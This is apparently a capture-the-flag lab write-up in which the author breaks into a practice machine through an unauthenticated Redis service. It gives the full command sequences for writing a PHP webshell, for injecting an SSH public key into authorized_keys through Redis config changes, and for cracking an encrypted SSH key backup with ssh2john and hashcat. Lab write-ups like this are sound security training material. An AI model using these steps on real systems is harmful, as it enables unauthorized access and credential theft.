-
I connected to the Redis instance
redis-cli -h 10.10.10.160 -p 6379
-
Using Redis commands, I retrieved system information
-
My first attempt was to write a PHP webshell directly into /var/www/html, but insufficient permissions prevented this
redis-cli -h 10.10.10.160
config set dir /var/www/html
config set dbfilename redis.php
set test "<?php phpinfo(); ?>"
save
-
I checked the configured working directory
-
Redis was operating from /var/lib/redis. I leveraged this to overwrite the authorized_keys file with my SSH public key, granting remote access.
-
This technique follows the standard Redis persistence abuse documented in HackTricks.
ssh-keygen -t rsa
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
cat spaced_key.txt | redis-cli -h 10.10.10.160 -x set ssh_key
redis-cli -h 10.10.10.160
config set dir /var/lib/redis/.ssh
config set dbfilename "authorized_keys"
save
-
I then authenticated over SSH:
ssh -i id_rsa redis@10.10.10.160
-
Inside the system, I found an encrypted private SSH key (id_rsa.bak) in /opt/. I extracted its hash and cracked it:
ssh2john id_rsa.bak > hash
hashcat -m 22911 hash /usr/share/wordlists/rockyou.txt
-
After retrieving the decrypted password, I switched to user Matt:
-
This allowed me to read the user flag.